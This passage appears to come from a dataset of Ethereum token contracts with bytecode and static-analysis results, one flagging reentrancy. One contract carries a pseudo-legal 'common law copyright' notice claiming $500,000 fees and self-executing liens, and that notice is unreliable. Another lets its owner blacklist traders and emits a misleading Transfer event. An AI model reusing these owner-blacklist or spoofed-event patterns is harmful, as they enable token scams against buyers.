080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4c57506001600160a01b03821660009081526005602052604090205460ff16155b15610fec576000600955600c54600a55600f546001600160a01b038481169116148015610e875750600e546001600160a01b03838116911614155b8015610eac57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec15750600f54600160b81b900460ff165b15610eee576000610ed1836105ab565b601054909150610ee1838361127d565b1115610eec57600080fd5b505b600f546001600160a01b038381169116148015610f195750600e546001600160a01b03848116911614155b8015610f3e57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4f576000600955600b54600a555b6000610f5a306105ab565b600f54909150600160a81b900460ff16158015610f855750600f546001600160a01b03858116911614155b8015610f9a5750600f54600160b01b900460ff165b15610fea576000610fb7600b610fb18460046112dc565b9061135b565b9050610fc38183611aa3565b9150610fce8161139d565b610fd7826110f4565b478015610fe757610fe747611036565b50505b505b610ff78383836113d3565b505050565b600081848411156110205760405162461bcd60e51b8152600401610442919061194f565b50600061102d8486611aa3565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091f573d6000803e3d6000fd5b60006007548211156110d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610442565b60006110e16113de565b90506110ed838261135b565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113c5761113c611aeb565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119057600080fd5b505afa1580156111a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c8919061173f565b816001815181106111db576111db611aeb565b6001600160a01b039283166020918202929092010152600e546112019130911684610b98565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061123a9085906000908690309042906004016119d9565b600060405180830381600087803b15801561125457600080fd5b505af1158015611268573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061128a8385611a4a565b9050838110156110ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610442565b6000826112eb5750600061047a565b60006112f78385611a84565b9050826113048583611a62565b146110ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610442565b60006110ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611401565b600f805460ff60a81b1916600160a81b17905580156113c3576113c33061dead83610cbc565b50600f805460ff60a81b19169055565b610ff783838361142f565b60008060006113eb611526565b90925090506113fa828261135b565b9250505090565b600081836114225760405162461bcd60e51b8152600401610442919061194f565b50600061102d8486611a62565b60008060008060008061144187611566565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061147390876115c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114a2908661127d565b6001600160a01b0389166000908152600260205260409020556114c481611605565b6114ce848361164f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161151391815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611541828261135b565b82101561155d57505060075492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006115838a600954600a54611673565b92509250925060006115936113de565b905060008060006115a68e8787876116c2565b919e509c509a509598509396509194505050505091939550919395565b60006110ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ffc565b600061160f6113de565b9050600061161d83836112dc565b3060009081526002602052604090205490915061163a908261127d565b30600090815260026020526040902055505050565b60075461165c90836115c3565b60075560085461166c908261127d565b6008555050565b60008080806116876064610fb189896112dc565b9050600061169a6064610fb18a896112dc565b905060006116b2826116ac8b866115c3565b906115c3565b9992985090965090945050505050565b60008080806116d188866112dc565b905060006116df88876112dc565b905060006116ed88886112dc565b905060006116ff826116ac86866115c3565b939b939a50919850919650505050505050565b803561171d81611b17565b919050565b60006020828403121561173457600080fd5b81356110ed81611b17565b60006020828403121561175157600080fd5b81516110ed81611b17565b6000806040838503121561176f57600080fd5b823561177a81611b17565b9150602083013561178a81611b17565b809150509250929050565b6000806000606084860312156117aa57600080fd5b83356117b581611b17565b925060208401356117c581611b17565b929592945050506040919091013590565b600080604083850312156117e957600080fd5b82356117f481611b17565b946020939093013593505050565b6000602080838503121561181557600080fd5b823567ffffffffffffffff8082111561182d57600080fd5b818501915085601f83011261184157600080fd5b81358181111561185357611853611b01565b8060051b604051601f19603f8301168101818110858211171561187857611878611b01565b604052828152858101935084860182860187018a101561189757600080fd5b600095505b838610156118c1576118ad81611712565b85526001959095019493860193860161189c565b5098975050505050505050565b6000602082840312156118e057600080fd5b81356110ed81611b2c565b6000602082840312156118fd57600080fd5b81516110ed81611b2c565b60006020828403121561191a57600080fd5b5035919050565b60008060006060848603121561193657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561197c57858101830151858201604001528201611960565b8181111561198e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a295784516001600160a01b031683529383019391830191600101611a04565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a5d57611a5d611ad5565b500190565b600082611a7f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a9e57611a9e611ad5565b500290565b600082821015611ab557611ab5611ad5565b500390565b6000600019821415611ace57611ace611ad5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c057600080fd5b80151581146104c057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e2d2840f16428fb3a6e1f9a4e1451221d6dd5a7c3ddbc26e1843be30526c37a964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,780
0x838738061c8b1b1557b612edef7d94eafb22e43f
pragma solidity ^0.6.6; /* OWNER OF TOKEN: SAMUEL RICHARD PENN© TRUST NOTE The original contract is signed, witnessed, sealed, stamped and held by the trustee of the SAMUEL RICHARD PENN© TRUST. The token 08081986-SRP-CLC shall represent the certificate of title to the original bond. The holder in due course MUST possess the 08081986-SRP-CLC token to validate proof of claim. Original documents can be seen and copies requested on www.samuelrichardpenn.com, or on https://www.instagram.com/samuelrichardpenn/. Trustee can be reached at blackbloodestate@gmail.com. This token may never be sold. It can only be passed from a trust to a beneficiary. Let the public be noticed of the following copyright. Copyright Notice: All rights reserved. Copyright of trade-name/trademark SAMUEL RICHARD PENN© TRUST including any and all derivatives and variations in the spelling, i.e. NOT limited to all capitalized names: SAMUEL RICHARD PENN TRUST ©. PENN©, SRP©, SAMUEL PENN©, PENN SAMUEL SR©, SR PENN© or any derivatives thereof are under Copyright 2004. Said common-law trade-name/trademark, SAMUEL RICHARD PENN© TRUST may neither be used nor reproduced, neither in whole nor in part, in any manner whatsoever, without the prior, express, written consent and acknowledgment of Trustee/Trust in writing. With the Intent of being Contractually Bound, any Juristic Person, as well as the agent thereof, by notice of this copyright is noticed that neither said Juristic Person nor agent thereof is authorized to display, nor otherwise use in any manner, the common-law trade-name/trademark nor the copyright described herein, nor any derivative of, nor any variation in the spelling thereof, without the prior, written consent and acknowledgment of Trustee/TRUST, as signified in writing with signed consent. Trustee/Trust neither grants, nor implies, nor otherwise gives consent for any unauthorized use of SAMUEL RICHARD PENN©, and all such unauthorized use is strictly prohibited. By receipt of this notice you are hereby made aware of this copyright if otherwise ignorant of the fact that said copyright is a matter of public record. This is notification that you are in BREACH. You herein have two options for remedy of this breach of copyright: 1) You consent to the removal of information and discontinuation of use of all information held in copyright that contains copyrighted materials from all databases publications, chronicles, manifestos, newspapers, and/or records of any type and issue a written apology.; or 2) If the first option of this section is neither effected or arrangements to affect cure of breach as described is not engaged within 10 days of return receipt of this Notice then the clause by default will be enacted and you consent to the following Self-executing Contract/Security Agreement in Event of Unauthorized Use as well as Payment Terms as described: a) Self-executing Contract/Security Agreement in Event of Unauthorized Use: By this Notice, both the Juristic Person and the agent thereof, hereinafter .jointly and severally "User", consent and agree that any use of trade-name/trademark copyright other than authorized use as set forth herein, constitutes unauthorized use and counterfeiting of property, contractually binds User and renders this Notice a Security Agreement wherein User is TRUST and SAMUEL RICHARD PENN TRUST© is Secured Party, and signifies that User: b) In accordance with the fees for unauthorized use of Trade-Name/Trademark/Copyright, as set forth herein, consents to be invoiced for outstanding balance and agrees that User shall pay TRUST all unauthorized use fees in full within thirty (30) days of the date User is sent "Invoice", itemizing said fees. c) Grants Trustee/TRUST the right to invoice three times at thirty day intervals at which time User consents to the outstanding balance that will be filed as a lien/levy via a UCC Financing Statement in the UCC filing office and/or in any county recorder's office, wherein User is TRUST and Trustee is Secured Party and that Secured Party may file such lien/levy against property as a security interest in all of User's assets, land and personal property, and all of User's interest in assets, land and personal property, in the sum certain amount of $500,000.00 per each occurrence of use of the common-law copyrighted trade-name/trademark, plus costs, plus triple damages; d) Consent and agrees that said UCC Financing Statement described in "c" is a continuing financing statement, and further consents and agrees with TRUSTS filing of any continuation statement necessary for maintaining Secured Party's perfected security interest in all of User's property and interest in property pledged as collateral in this Security Agreement and described herein until User's contractual obligation theretofore incurred has been fully satisfied; e) Waives all defenses; Consents and agrees that any and all such filings described herein going without remedy are not, and may not be considered, bogus/frivolous and that User will not claim such a defense in regard. f) Appoints Secured Party as Authorized Representative for User, effective upon User's default re User's contractual obligations in favor of Secured Obligation as set forth herein granting TRUST/Trustee full authorization and power for engaging in any and all actions on behalf of User including, but not limited to, authentication of a record on behalf of User as Secured Party, at Secured Party's sole discretion, and as Secured Party deems appropriate, and User further consents and agrees that this appointment of Secured Party as Authorized Representative for User, effective upon User's default, is irrevocable and coupled with a security interest. Terms of Strict Foreclosure: User's non-payment in full of all unauthorized use fees itemized in Invoice within said ninety (90) day period for curing default as set forth within authorizes without recourse Trustee/Secured Party’s immediate non-judicial strict foreclosure on any and all remaining former property and interest in property, formerly pledged as collateral by User, now property of Secured Party, which is not in the possession of, nor otherwise disposed of by Secured Party upon expiration of said period. Samuel-Richard: Penn, Autograph Common Law Copyright 2004. Unauthorized use of "Samuel-Richard: Penn" incurs same unauthorized-use fees as those associated with SAMUEL RICHARD PENN© TRUST, as set forth in the first paragraph of the first page. */ contract Owned { modifier onlyOwner() { require(msg.sender==owner); _; } address payable owner; address payable newOwner; function changeOwner(address payable _newOwner) public onlyOwner { require(_newOwner!=address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender==newOwner) { owner = newOwner; } } } abstract contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) view public virtual returns (uint256 balance); function transfer(address _to, uint256 _value) public virtual returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool success); function approve(address _spender, uint256 _value) public virtual returns (bool success); function allowance(address _owner, address _spender) view public virtual returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Token is Owned, ERC20 { string public symbol; string public name; uint8 public decimals; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public virtual override returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success) { require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public virtual override returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract SecurityToken is Token{ constructor() public{ symbol = "SRP"; name = "08081986-SRP-CLC"; decimals = 0; totalSupply = 1; owner = msg.sender; balances[owner] = totalSupply; } receive () payable external { require(msg.value>0); owner.transfer(msg.value); } }
0x6080604052600436106100a05760003560e01c806370a082311161006457806370a082311461031357806379ba50971461037857806395d89b411461038f578063a6f9dae11461041f578063a9059cbb14610470578063dd62ed3e146104e35761011c565b806306fdde0314610121578063095ea7b3146101b157806318160ddd1461022457806323b872dd1461024f578063313ce567146102e25761011c565b3661011c57600034116100b257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610119573d6000803e3d6000fd5b50005b600080fd5b34801561012d57600080fd5b50610136610568565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bd57600080fd5b5061020a600480360360408110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610606565b604051808215151515815260200191505060405180910390f35b34801561023057600080fd5b506102396106f8565b6040518082815260200191505060405180910390f35b34801561025b57600080fd5b506102c86004803603606081101561027257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106fe565b604051808215151515815260200191505060405180910390f35b3480156102ee57600080fd5b506102f76109ff565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031f57600080fd5b506103626004803603602081101561033657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a12565b6040518082815260200191505060405180910390f35b34801561038457600080fd5b5061038d610a5b565b005b34801561039b57600080fd5b506103a4610b16565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e45780820151818401526020810190506103c9565b50505050905090810190601f1680156104115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042b57600080fd5b5061046e6004803603602081101561044257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb4565b005b34801561047c57600080fd5b506104c96004803603604081101561049357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8b565b604051808215151515815260200191505060405180910390f35b3480156104ef57600080fd5b506105526004803603604081101561050657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e79565b6040518082815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105fe5780601f106105d3576101008083540402835291602001916105fe565b820191906000526020600020905b8154815290600101906020018083116105e157829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b600081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107cb575081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107d75750600082115b80156108625750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b61086b57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610b1457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bac5780601f10610b8157610100808354040283529160200191610bac565b820191906000526020600020905b815481529060010190602001808311610b8f57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c0d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c4757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610cdc5750600082115b8015610d675750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b610d7057600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509291505056fea264697066735822122084793109e40144e5cf8b57150fa3a5cfee1914fda14ff3a84d973ce1980a01e764736f6c63430006060033
{"success": true, "error": null, "results": {}}
2,781
0x31013f7bd19c8877fef787c47ca8b2478e71a7b8
/** *Submitted for verification at Etherscan.io on 2021-09-29 */ /* Based Sonic Token - Programmed Moon Telegram: https://t.me/SuperSonicEth */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SuperSonicEth is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Super Sonic Eth"; string private constant _symbol = "SONIC"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2, address payable addr3) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[addr3] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xf572A6Bd5822796c9257F92A17804C59e14DDbEF), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 4; _teamFee = 6; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 1; _teamFee = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTx(uint256 maxTx) external onlyOwner() { require(maxTx > 0, "Amount must be 